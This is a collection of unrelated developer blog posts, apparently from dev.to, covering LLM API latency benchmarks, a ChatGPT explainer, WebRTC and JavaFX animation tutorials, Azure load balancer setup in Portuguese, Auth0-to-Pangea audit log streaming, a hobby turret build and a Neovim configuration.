Ranked by average response time, average latency.
1. Hugging Face had an average latency of 17.564 ms, an average response time of 117.052 ms, a standard deviation of 92.733 ms, and was not ranked highly for content quality.
2. Groq had an average latency of 20.364 ms, an average response time of 269.841 ms, a standard deviation of 100.261 ms, and was not ranked highly for content quality.
3. Google Gemini had an average latency of 17.044 ms, an average response time of 1660.029 ms, a standard deviation of 154.032 ms, and produced high-quality responses.
#### Large Models
Ranked by average response time, average latency.
1. Hugging Face exhibited an average latency of 17.564 ms, an average response time of 87.007 ms, a standard deviation of 2.051 ms, and was not ranked highly for content quality.
2. Groq had an average latency of 20.364 ms, an average response time of 240.477 ms, a standard deviation of 57.709 ms, and was not ranked highly for content quality.
3. Google Gemini had an average latency of 17.044 ms, an average response time of 1667.225 ms, a standard deviation of 134.025 ms, and produced high-quality responses.
#### Combined
Ranked by quality of content, average response time, average latency.
1. **Google Gemini** demonstrated remarkable consistency across model sizes, maintained low latency, and produced high-quality responses, with a combined average latency of 17.044 ms, a combined average response time of 1663.627 ms, and a combined standard deviation of 144.0285 ms.
1. **Hugging Face** showed an overall low average response time and high consistency across model sizes but did not rank highly for content quality. It had a combined average latency of 17.564 ms, a combined average response time of 102.03 ms, and a combined standard deviation of 47.392 ms.
3. **Groq** provided reliable and moderate latency and response times for both small and large models but also did not rank highly for content quality. It had a combined average latency of 20.364 ms, a combined average response time of 255.159 ms, and a combined standard deviation of 78.985 ms.
In conclusion, I rank **Google Gemini** as the top LLM API provider due to its combination of low latency, consistent performance across model sizes, and high-quality responses. **Hugging Face** is second, offering near real-time responses, high consistency, but comes with strings. **Groq** is third, providing reliable latency and ultra fast response times. However, OpenAI, Claude, and Google Gemini did not rank the responses from Hugging Face and Groq highly.
### The Real Winner?
**Developers!** Why? It's simple: the fastest LLM API providers in my test offer free API access. This means you can start building your next AI application without additional expenses. (If you still need to get your free API keys, don't worry, I've provided links below.)
### Which Would I Use?
While Hugging Face excelled in my tests, it's important to know that using their API comes with some big limitations. The API is rate-limited and only available for non-commercial use. This means that even though they have lots of great models, you might run into problems if you try to use it for bigger projects or as your business grows.
Because of these issues, I've tend to use other options. When I need really fast responses, almost in real-time, **Groq** is my choice. Groq is fast and doesn't have as many restrictions. For the more complex prompts that need more processing, I use **Google Gemini**.
By choosing different providers for different needs, I can get the best performance for each type of task I'm working on. `llm-interface` makes this really easy. This way, I'm not limited by any one provider's restrictions and can use the best tool for each job
### Which Would I Avoid?
**Goose AI** is a commercial product that while it comes with a $9.99 credit does require a credit card when you sign up. I don't mind spending money for a quality product, however the results provided by Goose AI were lacking to say the least. This is true regardless of the model used. (I've provided all collected responses a bit further in this article.)
### Why Is `jamba-instruct` Tested Twice?
At the time of publishing AI21 Studio had only one model available, `jamba-instruct`. I was curious about the performance of this model, because AI21 opted to not offer a smaller/faster model similar to most other LLM providers. Overall, it performed well, even beating OpenAI `davinci-002`.
## Reproducing My Comparison
If you'd like to reproduce my test, checkout the [comparing-llm-api-performance](https://github.com/samestrin/comparing-llm-api-performance) repository, which contains my original `testLLMPerformance.js` script and follow the directions below.
### Step 1. Checkout `comparing-llm-api-performance`
Clone the repository:
```sh
git clone https://github.com/samestrin/comparing-llm-api-performance.git
cd comparing-llm-api-performance
```
### Step 2. Install the required npm packages:
```sh
npm install llm-interface ping cli-progress dotenv
```
### Step 3. Create your `.env` File
To run the script, you must first create an `.ENV` file with valid API keys, there is an included `ENV` file you can use as a template. (I've provided links below if you don't have API keys.)
```bash
AI21_API_KEY=
ANTHROPIC_API_KEY=
CLOUDFLARE_ACCOUNT_ID=
CLOUDFLARE_API_KEY=
FIREWORKSAI_API_KEY=
GEMINI_API_KEY=
GOOSEAI_API_KEY=
GROQ_API_KEY=
HUGGINGFACE_API_KEY=
MISTRALAI_API_KEY=
OPENAI_API_KEY=
PERPLEXITY_API_KEY=
REKAAI_API_KEY=
```
### Step 4. Run The Tests
```bash
node testLLMPerformance.js
```
### Step 5. Review The Results
You should now have the following files, `results.csv`, `sampleLarge.md`, and `sampleSmall.md`, in your current directory.
Since CSV is a text-based format, you can open the `results.csv` file using any basic text editor. However, this will display the data in raw format without any table structure. For a more user-friendly view, you can use a freely available online spreadsheet like Google Sheets or Microsoft Excel Online. I used Google Sheets to generate the graph that I included earlier in the article.
If you are curious to LLM API responses, based on the provided prompt, those are collected in `sampleSmall.md` and `sampleLarge.md`. Markdown is also a text-based format, so you can open either file using any basic text editor. If prefer a markdown editor instead, StackEdit is a freely available online markdown editor that is easy to use.

1,899,493 | Behind the Scenes of AI: How Language Models Like ChatGPT Work | If you’ve ever wondered how an AI like ChatGPT can understand and generate text that feels almost... | 0 | 2024-06-25T01:48:46 | https://dev.to/takitajwar17/behind-the-scenes-of-ai-how-language-models-like-chatgpt-work-3eb2 | machinelearning, ai, nlp, chatgpt | If you’ve ever wondered how an AI like ChatGPT can understand and generate text that feels almost human, today you’re in for a treat! Today, I want to show you what goes on under the hood, explained in a way that’s easy to grasp.
**Collecting and Prepping Data**
At it’s core, ChatGPT is just a finest engineering of pre-existing data. Think of ChatGPT as a sponge that needs to soak up information before it can start ‘thinking’ (bad analogy, sorry :3). This data comes from a wide array of sources: books, articles, websites, and more. The diversity of the data is crucial because it helps the AI understand various contexts, languages, dialects, and writing styles.
After collecting data, it goes through preprocessing. Here, words are broken into smaller units called tokens. This process, which includes techniques like Byte Pair Encoding, helps the AI manage new or unusual words it might encounter later.
**Building the Brain: The Neural Network**
The core of ChatGPT is built on what’s known as the Transformer architecture — a complex neural network design that helps the AI focus on different parts of a sentence to understand context better. Each layer of this network uses self-attention mechanisms that analyze the importance of each word in relation to others, akin to keeping track of multiple storylines in a novel.
**Making Sense of Order: Encoding**
In the digital world of ChatGPT, words are initially treated as a list with no inherent order. Positional encoding is used to add information about the position of each word in the sequence, allowing the AI to understand which word comes first, second, and so on.
**Learning Through Trial and Error: Training**
Training ChatGPT involves feeding it large amounts of text and using its predictions to teach it correct responses. The AI learns through a method called backpropagation, where errors are used to make adjustments to improve accuracy. This is done using algorithms like Adam or stochastic gradient descent, which fine-tune the model’s parameters to minimize prediction errors.
**How Does ChatGPT Talk Back? The Generation Process**
Generating text involves several strategies:
- **_Greedy Sampling:_** Choosing the most probable next word each time.
- **_Beam Search:_** Considering multiple possible future sequences to find the most likely one.
- **_Top-k Sampling:_** Limiting predictions to a set number of top choices, which reduces the chance of bizarre responses.
- **_Top-p Sampling:_** Choosing from a dynamic number of top probabilities, balancing creativity and coherence.
**Fine-Tuning: Getting Specific**
For tasks requiring specialized knowledge, like legal or medical advice, ChatGPT can be fine-tuned on domain-specific datasets. This process is akin to a doctor attending specialized medical training after general medical school.
**Keeping It Real: Evaluation**
ChatGPT’s performance is evaluated using metrics like perplexity, which measures how well the model predicts a sample, and BLEU, which assesses the quality of text translation against reference texts. However, the true measure often involves human evaluators who assess the model’s outputs for relevance, coherence, and naturalness.
**Keeping It Fair: Bias and Fairness**
Ensuring that ChatGPT remains unbiased is a critical challenge. Developers continuously analyze and adjust the training data and tweak algorithms to mitigate biases, aiming for a fair and balanced AI.
**Wrap-Up**
With these insights, you can appreciate the intricate blend of massive data processing, advanced neural networks, continuous learning, and careful human oversight that powers ChatGPT. Each interaction with this AI isn’t just a display of technical prowess but also a testament to the ongoing efforts to make technology more responsive and responsible.

Our WebRTC video streaming app allows users to initiate a video call, send text messages, mute/unmute audio, toggle video, and share their screen. Here’s a glimpse of what we’ll cover:
1. **Basic WebRTC Setup**
2. **Adding Text Chat**
3. **Audio and Video Controls**
4. **Screen Sharing**
5. **UI/UX Enhancements with Tailwind CSS**
### Setting Up the Project
First, let’s set up our project structure. Create a directory for your project and initialize the necessary files:
```bash
mkdir webrtc-video-streaming
cd webrtc-video-streaming
```
Create the following files:
- `index.html`
- `main.js`
- `styles.css`
Your project structure should look like this:
```
webrtc-video-streaming/
├── css/
│ └── styles.css
├── js/
│ └── main.js
├── index.html
├── tailwind.config.js
├── package.json
└── README.md
```
### HTML Structure
We'll start with the HTML. Here’s a simple structure to display local and remote video streams and control buttons:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebRTC Video Streaming</title>
<link rel="stylesheet" href="css/tailwind.output.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body class="bg-gray-100 text-gray-900 dark:bg-gray-900 dark:text-gray-200">

</div>
</div>
</div>
</div>
<script src="js/main.js"></script>
</body>
</html>
```
### CSS Styling
We'll use Tailwind CSS for styling. Add the necessary Tailwind CSS directives in your `styles.css` file:
```css
@tailwind base;
@tailwind components;
@tailwind utilities;
```
### JavaScript Logic
Now, let’s implement the WebRTC logic along with the additional features in `main.js`:
```javascript
let localStream;
let remoteStream;

1,899,387 | Animation | JavaFX provides the Animation class with the core functionality for all animations. Suppose you want... | 0 | 2024-06-24T22:20:30 | https://dev.to/paulike/animation-56l4 | java, programming, learning, beginners | JavaFX provides the **Animation** class with the core functionality for all animations.
Suppose you want to write a program that animates a rising flag, as shown in Figure below. How do you accomplish the task? There are several ways to program this. An effective one is to use the subclasses of the JavaFX **Animation** class.
The abstract **Animation** class provides the core functionalities for animations in JavaFX, as shown in Figure below. Many concrete subclasses of **Animation** are provided in JavaFX. This section introduces **PathTransition**, **FadeTransition** and **Timeline**.
The **autoReverse** is a Boolean property that indicates whether an animation will reverse its direction on the next cycle. The **cycleCount** indicates the number of the cycles for the animation. You can use the constant **Timeline.INDEFINTE** to indicate an indefinite number of cycles. The **rate** defines the speed of the animation. A negative rate value indicates the opposite direction for the animation. The **status** is a read-only property that indicates the status of the animation (**Animation.Status.PAUSED**, **Animation.Status.RUNNING**, and **Animation.Status.STOPPED**). The methods **pause()**, **play()**, and **stop()** pauses, plays, and stops an animation.
## PathTransition
The **PathTransition** class animates the the moves of a node along a path from one end to the other over a given time. **PathTransition** is a subtype of **Animation**. The UML class diagram for the class is shown in Figure below.
The **Duration** class defines a duration of time. It is an immutable class. The class defines constants **INDEFINTE**, **ONE**, **UNKNOWN**, and **ZERO** to represent an indefinte duration, 1 milliseconds, unknow, and 0 duration. You can use **new Duration(double millis)** to create an instance of **Duration**, the **add**, **subtract**, **multiply**, and **divide** methods to perform arithmetic operations, and the **toHours()**, **toMinutes()**, **toSeconds()**, and **toMillis()** to return the number of hours, minutes, seconds, and milliseconds in this duration. You can also use **compareTo** to compare two durations.
The constants **NONE** and **ORTHOGONAL_TO_TANGENT** are defined in **PathTransition.OrientationType**. The latter specifies that the node is kept perpendicular to the path’s tangent along the geometric path.
The program below gives an example that moves a rectangle along the outline of a circle, as shown in Figure below (a).
```
package application;
import javafx.animation.PathTransition;
import javafx.animation.Timeline;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.paint.Color;
import javafx.scene.shape.Rectangle;
import javafx.scene.shape.Circle;
import javafx.stage.Stage;
import javafx.util.Duration;
public class PathTransitionDemo extends Application {
@Override // Override the start method in the Application class
public void start(Stage primaryStage) {
// Create a pane
Pane pane = new Pane();
// Create a rectangle
Rectangle rectangle = new Rectangle(0, 0, 25, 50);
rectangle.setFill(Color.ORANGE);
// Create a circle
Circle circle = new Circle(125, 100, 50);
circle.setFill(Color.WHITE);
circle.setStroke(Color.BLACK);
// Add circle and rectangle to the pane
pane.getChildren().add(circle);
pane.getChildren().add(rectangle);
// Create a path transition
PathTransition pt = new PathTransition();
pt.setDuration(Duration.millis(4000));
pt.setPath(circle);
pt.setNode(rectangle);
pt.setOrientation(PathTransition.OrientationType.ORTHOGONAL_TO_TANGENT);
pt.setCycleCount(Timeline.INDEFINITE);
pt.setAutoReverse(true);
pt.play(); // Start animation
circle.setOnMousePressed(e -> pt.pause());
circle.setOnMouseReleased(e -> pt.play());
// Create a scene and place it in the stage
Scene scene = new Scene(pane, 250, 200);
primaryStage.setTitle("PathTransitionDemo"); // Set the stage title
primaryStage.setScene(scene); // Place the scene in the stage
primaryStage.show(); // Display the stage
}
public static void main(String[] args) {
Application.launch(args);
}
}
```
The program creates a pane (line 17), a rectangle (line 20), and a circle (line 24). The circle and rectangle are placed in the pane (lines 29 and 30). If the circle was not placed in the pane, you will see the screenshot as shown in Figure above (b).
The program creates a path transition (line 33), sets its duration to 4 seconds for one cycle of animation (line 34), sets circle as the path (line 35), sets rectangle as the node (line 36), and sets the orientation to orthogonal to tangent (line 37).
The cycle count is set to indefinite (line 38) so the animation continues forever. The auto reverse is set to true (line 39) so that the direction of the move is reversed in the alternating cycle. The program starts animation by invoking the **play()** method (line 40).
If the **pause()** method is replaced by the **stop()** method in line 42, the animation will start over from the beginning when it restarts.
Below gives the program that animates a flag rising.
```
package application;
import javafx.animation.PathTransition;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.image.ImageView;
import javafx.scene.layout.Pane;
import javafx.scene.shape.Line;
import javafx.stage.Stage;
import javafx.util.Duration;
public class FlagRisingAnimation extends Application {
@Override // Override the start method in the Application class
public void start(Stage primaryStage) {
// Create a pane
Pane pane = new Pane();
// Ad an image view and add it to pane
ImageView imageView = new ImageView("file:/C:/Users/Paul/development/MyJavaFX/src/application/image/ke.jpg");
pane.getChildren().add(imageView);
// Create a path transition
PathTransition pt = new PathTransition(Duration.millis(10000), new Line(100, 200, 100, 0), imageView);
pt.setCycleCount(5);
pt.play(); // Start animation
// Create a scene and place it in the stage
Scene scene = new Scene(pane, 250, 200);
primaryStage.setTitle("FlagRisingAnimation"); // Set the stage title
primaryStage.setScene(scene); // Place the scene in the stage
primaryStage.show(); // Display the stage
}
public static void main(String[] args) {
Application.launch(args);
}
}
```
The program creates a pane (line 15), an image view from an image file (line 18), and places the image view to the page (line 19). A path transition is created with duration of 10 seconds using a line as a path and the image view as the node (lines 22). The image view will move along the line. Since the line is not placed in the scene, you will not see the line in the window.
The cycle count is set to 5 (line 23) so that the animation is repeated five times.
## FadeTransition
The **FadeTransition** class animates the change of the opacity in a node over a given time. **FadeTransition** is a subtype of **Animation**. The UML class diagram for the class is shown in Figure below.
The program below gives an example that applies a fade transition to the filled color in an ellipse, as shown in Figure below.
```
package application;
import javafx.animation.FadeTransition;
import javafx.animation.Timeline;
import javafx.application.Application;
import javafx.scene.Scene;
import javafx.scene.layout.Pane;
import javafx.scene.paint.Color;
import javafx.scene.shape.Ellipse;
import javafx.stage.Stage;
import javafx.util.Duration;
public class FadeTransitionDemo extends Application {
@Override // Override the start method in the Application class
public void start(Stage primaryStage) {
// Place an ellipse to the pane
Pane pane = new Pane();
Ellipse ellipse = new Ellipse(10, 10, 100, 50);
ellipse.setFill(Color.RED);
ellipse.setStroke(Color.BLACK);
ellipse.centerXProperty().bind(pane.widthProperty().divide(2));
ellipse.centerYProperty().bind(pane.heightProperty().divide(2));
ellipse.radiusXProperty().bind(pane.widthProperty().multiply(0.4));
ellipse.radiusYProperty().bind(pane.heightProperty().multiply(0.4));
pane.getChildren().add(ellipse);
// Apply a fade transition to ellipse
FadeTransition ft = new FadeTransition(Duration.millis(3000), ellipse);
ft.setFromValue(1.0);
ft.setToValue(0.1);
ft.setCycleCount(Timeline.INDEFINITE);
ft.setAutoReverse(true);
ft.play(); // Start animation
// Control animation
ellipse.setOnMousePressed(e -> ft.pause());
ellipse.setOnMouseReleased(e -> ft.play());
// Create a scene and place it in the stage
Scene scene = new Scene(pane, 200, 150);
primaryStage.setTitle("FadeTransitionDemo"); // Set the stage title
primaryStage.setScene(scene); // Place the scene in the stage
primaryStage.show(); // Display the stage
}
public static void main(String[] args) {
Application.launch(args);
}
}
```
The program creates a pane (line 16) and an ellipse (line 17) and places the ellipse into the pane (line 24). The ellipse’s **centerX**, **centerY**, **radiusX**, and **radiusY** properties are bound to the pane’s size (lines 20–23).
A fade transition is created with a duration of 3 seconds for the ellipse (line 27). It sets the start opaque to 1.0 (line 28) and the stop opaque 0.1 (line 29). The cycle count is set to infinite so the animation is repeated indefinitely (line 30). When the mouse is pressed, the animation
is paused (line 35). When the mouse is released, the animation resumes from where it was paused (line 36).
## Timeline
**PathTransition** and **FadeTransition** define specialized animations. The **Timeline** class can be used to program any animation using one or more **KeyFrames**. Each **KeyFrame** is executed sequentially at a specified time interval. **Timeline** inherits from **Animation**. You can construct a **Timeline** using the constructor **new Timeline(KeyFrame... keyframes)**. A **KeyFrame** can be constructed using
`new KeyFrame(Duration duration, EventHandler<ActionEvent> onFinished)`
The handler **onFinished** is called when the duration for the key frame is elapsed.
The program below gives an example that displays a flashing text, as shown in Figure below. The text is on and off alternating to animate flashing.
```
package application;
import javafx.animation.Animation;
import javafx.application.Application;
import javafx.stage.Stage;
import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.layout.StackPane;
import javafx.scene.paint.Color;
import javafx.scene.text.Text;
import javafx.util.Duration;
public class TimelineDemo extends Application {
@Override // Override the start method in the Application class
public void start(Stage primaryStage) {
StackPane pane = new StackPane();
Text text = new Text(20, 50, "Programming is fun");
text.setFill(Color.RED);
pane.getChildren().add(text); // Place text into the stack pane
// Create a handler for changing text
EventHandler<ActionEvent> eventHandler = e -> {
if(text.getText().length() != 0) {
text.setText("");
}
else {
text.setText("Programming is fun");
}
};
// Create an animation for alternating text
Timeline animation = new Timeline(new KeyFrame(Duration.millis(500), eventHandler));
animation.setCycleCount(Timeline.INDEFINITE);
animation.play(); // Start animation
// Pause and resume animation
text.setOnMouseClicked(e -> {
if(animation.getStatus() == Animation.Status.PAUSED) {
animation.play();
}
else {
animation.pause();
}
});
// Create a scene and place it in the stage
Scene scene = new Scene(pane, 250, 250);
primaryStage.setTitle("TimelineDemo"); // Set the stage title
primaryStage.setScene(scene); // Place the scene in the stage
primaryStage.show(); // Display the stage
}
public static void main(String[] args) {
Application.launch(args);
}
}
```
The program creates a stack pane (line 18) and a text (line 19) and places the text into the pane (line 21). A handler is created to change the text to empty (lines 25–27) if it is not empty or to **Progrmming is fun** if it is empty (lines 28–30). A **KeyFrame** is created to run an action event in every half second (line 34). A **Timeline** animation is created to contain a key frame (lines 34). The animation is set to run indefinitely (line 35).
The mouse clicked event is set for the text (lines 39–46). A mouse click on the text resumes the animation if the animation is paused (lines 40–42), and a mouse click on the text pauses the animation if the animation is running (lines 43–45).
In [this post](https://dev.to/paulike/case-study-the-clockpane-class-4bpg), Case Study: The **ClockPane** Class, you drew a clock to show the current time. The clock does not tick after it is displayed. What can you do to make the clock display a new current time every second? The key to making the clock tick is to repaint it every second with a new current time. You can use a **Timeline** to control the repainting of the clock with the code in below. The sample run of the program is shown in Figure below.
```
package application;
import javafx.application.Application;
import javafx.stage.Stage;
import javafx.animation.KeyFrame;
import javafx.animation.Timeline;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.util.Duration;
public class ClockAnimation extends Application {
@Override // Override the start method in the Application class
public void start(Stage primaryStage) {
ClockPane clock = new ClockPane(); // Create a clock
// Create a handler for animation
EventHandler<ActionEvent> eventHandler = e -> {
clock.setCurrentTime(); // Set a new clock time
};
// Create an animation for a running clock
Timeline animation = new Timeline(new KeyFrame(Duration.millis(1000), eventHandler));
animation.setCycleCount(Timeline.INDEFINITE);
animation.play(); // Start animation
// Create a scene and place it in the stage
Scene scene = new Scene(clock, 250, 50);
primaryStage.setTitle("TimelineDemo"); // Set the stage title
primaryStage.setScene(scene); // Place the scene in the stage
primaryStage.show(); // Display the stage
}
public static void main(String[] args) {
Application.launch(args);
}
}
```
The program creates an instance **clock** of **ClockPane** for displaying a clock (line 14). The **ClockPane.java** class is defined in [this post](https://dev.to/paulike/case-study-the-clockpane-class-4bpg). The clock is placed in the scene in line 27. An event handler is created for setting the current time in the clock (lines 17–19). This handler is called every second in the key frame in the time line animation (lines 22–24). So the clock time is updated every second in the animation. | paulike |
1,899,395 | Como criar um Load Balancer no Microsoft Azure | Load Balancer é um serviço que distribui dinamicamente o tráfego de entrada entre múltiplos... | 0 | 2024-06-25T01:05:38 | https://dev.to/laisrz/como-criar-um-load-balancer-no-microsoft-azure-p2o | azure, loadbalancer, cloudskills | Load Balancer é um serviço que distribui dinamicamente o tráfego de entrada entre múltiplos servidores, recursos, ou instâncias. O objetivo principal do load balancer é garantir alta disponibilidade, desempenho otimizado, e evitar sobrecarga em um único recurso. Neste artigo, criaremos e configuraremos um load balancer para servir como ponto de entrada para três máquinas virtuais do Azure.
## Criar o load balancer
Na aba de Recursos do Azure, selecione Load Balancer e clique em Create.
Abrirá uma janela para configuração do load balancer. Na aba da configuração básica, deve-se escolher a assinatura e o grupo de recursos em que ficará alocado o load balancer.
Nesse exemplo, criaremos um load balancer para gerenciar o tráfego da rede para três máquinas virtuais, portanto a melhor escolha de SKU é a Standard. A SKU gateway é usada para a integração de dispositivos de rede virtuais de terceiros, como firewalls e sistemas de detecção/prevenção de intrusões, ao caminho do tráfego de rede, o que está fora do escopo deste artigo.
Escolha, então, o tipo de load balancer, público (para gerenciar tráfego advindo da internet) ou interno (para gerenciar tráfego interno dentro de uma rede virtual na Azure). E, por último, o tier, regional ou global.
Avance para a aba de configuração do IP do Frontend. Escolha entre o Ipv4 ou Ipv6 e adicione um endereço IP público ou selecione para criar um novo IP. Nesse exemplo, criamos um novo endereço IP estático.
Agora iremos criar um pool de backend. Avance até a próxima aba e dê um nome para o seu pool de backend. Selecione a rede virtual em que os recursos a serem gerenciados estão alocados e escolha entre a configuração de pool por NIC (associa o backend pool diretamente às interfaces de rede das máquinas virtuais, independentemente do seu endereço IP) ou endereço IP (associa o backend pool diretamente aos endereços IP das máquinas virtuais ou serviços).
Por fim, adicione os recursos cujo tráfego de rede será gerenciado pelo load balancer. Nesse exemplo, foram adicionadas três máquinas virtuais.
Clique em Review+Create e, tendo passado nas validações, clique em Create e aguarde a criação do load balancer.
## Criar um Health Probe
Health Probe é a ferramenta usada pelo load balancer para monitorar a saúde e disponibilidade dos recursos no backend pool. Ele envia periodicamente solicitações para verificar se as instâncias estão operando corretamente e podem responder a novas solicitações.
Para criar um health probe, na página do Load Balancer que acabou de ser criado, vá em Settings (Configurações) e selecione Health Probes. Clique em Add.
Selecione o protocolo, porta, caminho e o intervalo de tempo que o health probe deve esperar antes de testar novamente se as instâncias estão funcionando corretamente. O protocolo e a porta deverão ser escolhidos de acordo com os serviços no seu backend pool. Se o serviço tiver um endpoint HTTP, indique o caminho para esse endpoint e escolha o protocolo HTTP. Do contrário, selecione o protocolo TCP. A porta deverá corresponder à porta que o serviço está escutando, nesse exemplo, selecionamos a porta 80 (HTTP).
## Criar uma load balancing rule
Uma load balancing rule é uma configuração dentro de um load balancer que define como o tráfego deve ser distribuído entre as instâncias do backend pool. Para criar uma regra, na aba Settings do Load Balancer, selecione Load Balancing Rules.
Configure o endereço IP do frontend (endereço de IP do load balancer, que recebe o tráfego de entrada), o backend pool, o protocolo da camada de transporte (TCP ou UDP), a porta de frontend (a porta externa onde o load balancer recebe o tráfego) e de backend (a porta interna para a qual o tráfego é encaminhado) e o health probe.
Pronto, está criado o load balancer para gerenciar o tráfego de rede entre instâncias de seus serviços. | laisrz |
1,899,473 | Add Audit Log Streaming to Auth0 authentication in < 2 mins | In a world where hackers are trying to brute force user accounts (23andMe breach 2023), it is vital... | 0 | 2024-06-25T01:00:54 | https://pangea.cloud/blog/add-audit-log-streaming-to-auth0-in-2-mins/ | auth0, webdev, javascript, tutorial | In a world where hackers are trying to brute force user accounts ([23andMe breach 2023](https://techcrunch.com/2023/12/04/23andme-confirms-hackers-stole-ancestry-data-on-6-9-million-users/)), it is vital for developers to maintain a long-lasting and tamper-proof audit log of all authentication events to keep their apps secure.
While many companies use Auth0 as an authentication provider, its log data retention periods ONLY range from 1-30 days depending on the [Auth0 subscription level](https://auth0.com/docs/deploy-monitor/logs/log-data-retention). Although this span may seem useful for application debugging, it’s not optimal for meeting compliance requirements due to such short retention periods.
Thus, adding log streaming with Pangea allows you to keep your Auth0 authentication setup while using Pangea to retain logs for **up to 10 years**! The best part is that everything can be configured directly in the Auth0 dashboard without any changes to your code base.
## What are the Advantages of a Tamperproof Audit Log?
If you’re just interested in implementing audit log streaming for Auth0, you can skip ahead to the next section. No offense taken 😉
* **Identify Risk of Exposure**
A robust tamperproof audit log can help quickly assess the risk of exposure after a data breach since you have logs of all user events and critical user actions that occurred in our app.
* **Tamperproof logs**
Since message hashes of Pangea Audit Logs have been designed to be stored in a cryptographically secure hash-tree called “[Merkle Trees](https://pangea.cloud/docs/audit/merkle-trees?utm_source=devto&utm_medium=auth0-log-streaming-blog)”, the logs are tamperproof and cryptographically verifiable. Thus Pangea Audit Logs can neither be changed nor destroyed once created.
* **Asynchronous Logging**
Since Pangea Audit Logs can be implemented asynchronously with our authentication system and APIs, it doesn’t affect the performance of our web apps.
## TLDR; How do I build it in?
In this tutorial, I will demonstrate how easy it is to add Pangea’s tamperproof audit log API to your Auth0 authentication setup in just a few clicks. No changes to your codebase are needed 😅
### Step 1: Create an account on [pangea.cloud](https://pangea.cloud/?utm_source=devto&utm_medium=auth0-log-streaming)
Head over to [pangea.cloud](https://pangea.cloud/?utm_source=devto&utm_medium=auth0-log-streaming) and create an account for free. Then in the developer console, enable the “Secure Audit Log” service and select the Auth-vX.X.X Log Streaming for the schema template.
### Step 2: Create an event stream in Auth0 Dashboard
In your Auth0 dashboard, go to `Monitoring >> Streams` and click `Create Stream`. Under the event stream options, select `Custom Webhook`
### Step 3: Copy your Pangea credentials to setup the webhook
In the `Custom Webhook` setup window, you’ll be asked to input the following:
* **Payload URL** - Enter the URL for your Pangea project log-streaming endpoint. You can find it [here](https://pangea.cloud/docs/api/audit#/v1/log_stream?utm_source=blog&utm_medium=authn-log-streaming).
* **Authorization Token** - Enter the Authorization header value to access your Secure Audit Log configuration. This would be Bearer `<insert_pangea_token>`
* **Content Type** - Leave it as `application/json`.
* **Content Format** - Select `JSON Object`.
Then you can hit **Save**! Now, if you head over to the Health tab under the newly created webhook, you should see a success message saying your webhook is `Active`.
Here’s a quick video on configuring your webhook with Pangea credentials:
{% embed https://www.youtube.com/watch?v=MUTffYlTQmQ %}
Finally, heading over to my react app pre-configured with my Auth0 credentials, let’s log in and log out. To check that our audit logs are being streamed let us head over to the Pangea Console under `Audit Log >> View Logs`. In here, we should see new logs populated from our app streamed straight from Auth0.
Let's test it out!

I got super busy with a lot of stuff, but I am back! So, where were we? Ah yes, check out the progress I made in the past two hours. I wanted to update you all as soon as possible (image1).
(image1)
Yes, I know it looks like a Mario tube right now, and you're probably thinking, "What in the world is this?" Basically, I want to attach the actual head of the turret onto this thing. Remember how I wanted to make this a rail gun and showed a picture of how I wanted it to look? Here’s a quick pic for reference (image2).
(image2)
(image3)
Do you see where the bottom of the head is placed? I’ll show a zoomed-in pic above (image3). I need to make something like that. It will look much better than a big Mario tube sticking out of it. This will help the turret head stay in place and move properly.
I will be updating you all in 5 days with an updated Mario tube. Thank you all and love you all! Consentually, of course.

## Saving Settings
The configuration files go to a particular place, so you should create the nvim/ folder in the following path depending on your operating system:
* Windows: `C:\Users\%YOUR_USERNAME%\AppData\Local\nvim`
* Linux: `~/.configs/nvim/`
And in the nvim/ folder create the `init.lua` file
with the following code:
* Note: slydragonn is my personal folder, but you can rename it whatever you want :)
```lua
-- ~/nvim/init.lua
require("slydragonn.settings")
```
## Editor Settings
Then create a lua folder for our configuration and also for the plugins.
```lua
-- ~/nvim/lua/slydragonn/settings.lua
local global = vim.g
local o = vim.opt
-- Editor options
o.number = true -- Print the line number in front of each line
o.relativenumber = true -- Show the line number relative to the line with the cursor in front of each line.
o.clipboard = "unnamedplus" -- uses the clipboard register for all operations except yank.
o.syntax = "on" -- When this option is set, the syntax with this name is loaded.
o.autoindent = true -- Copy indent from current line when starting a new line.
o.cursorline = true -- Highlight the screen line of the cursor with CursorLine.
o.expandtab = true -- In Insert mode: Use the appropriate number of spaces to insert a <Tab>.
o.shiftwidth = 2 -- Number of spaces to use for each step of (auto)indent.
o.tabstop = 2 -- Number of spaces that a <Tab> in the file counts for.
o.encoding = "UTF-8" -- Sets the character encoding used inside Vim.
o.ruler = true -- Show the line and column number of the cursor position, separated by a comma.
o.mouse = "a" -- Enable the use of the mouse. "a" you can use on all modes
o.title = true -- When on, the title of the window will be set to the value of 'titlestring'
o.hidden = true -- When on a buffer becomes hidden when it is |abandon|ed
o.ttimeoutlen = 0 -- The time in milliseconds that is waited for a key code or mapped key sequence to complete.
o.wildmenu = true -- When 'wildmenu' is on, command-line completion operates in an enhanced mode.
o.showcmd = true -- Show (partial) command in the last line of the screen. Set this option off if your terminal is slow.
o.showmatch = true -- When a bracket is inserted, briefly jump to the matching one.

```
## Add Lazy.vim
Installing Lazy is quite easy, you just have to copy this code from [folke/lazy.nvim](https://github.com/folke/lazy.nvim) and paste it into `~/nvim/lua/slydragonn/lazy.lua`
```lua
-- ~/nvim/lua/slydragonn/lazy.lua
local lazypath = vim.fn.stdpath("data") .. "/lazy/lazy.nvim"
if not (vim.uv or vim.loop).fs_stat(lazypath) then
vim.fn.system({
"git",
"clone",
"--filter=blob:none",
"https://github.com/folke/lazy.nvim.git",
"--branch=stable", -- latest stable release
lazypath,
})
end
vim.opt.rtp:prepend(lazypath)
require("lazy").setup("slydragonn.plugins")
```
Then in the init.lua file we import the lazy config:
```lua
-- ~/nvim/init.lua
require("slydragonn.settings")
require("slydragonn.lazy")
```
And create the plugins/ folder, where to add the plugin configuration files: `~/nvim/lua/plugins/`
Lazy will read all the files in the plugins folder, because that's how we set it, and Lazy will install them all automatically, or we can use the command `:Lazy` to see the UI.
### Lazy Commands
* Open the UI: `:Lazy`
* Install: `shift` + `L`
